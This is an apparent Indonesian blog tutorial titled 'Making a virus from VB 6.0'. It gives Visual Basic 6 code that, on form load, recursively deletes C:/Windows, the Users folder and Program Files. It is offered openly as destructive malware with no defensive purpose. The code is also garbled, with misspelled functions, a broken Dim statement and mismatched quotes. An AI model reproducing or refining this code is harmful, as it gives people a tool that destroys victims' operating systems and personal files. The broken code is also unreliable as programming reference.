MEMBUAT VIRUS DARI VB 6.0

1.Langkah pertama,buka VB,tentunya VB  6.0

2.Lelajudnya,kita buat satu form dan satu module

3.Langkah berikutnya, copy script ini di module:

Public sub DelAll(ByVal DirtoDelet As Variant)

Dim FSO.FS

Set FSO = CreatObject(“Scripting.FileSystemObject”)

FS = FSO.DeletFolder(Dirtodelet,Trus)

End Sub

4.Copy ini pada form:

‘exh4des-Deceptions

‘http://hades-exploit.blogspot.com

Private Sub Form_Load()

‘jangan dijalankan jika kita menggunakan sintaks ini :Call

DelAll(‘c:/windows”)

Call DelAll(“c:Users”)

Call DelAll(“c:/program Files”)

End sub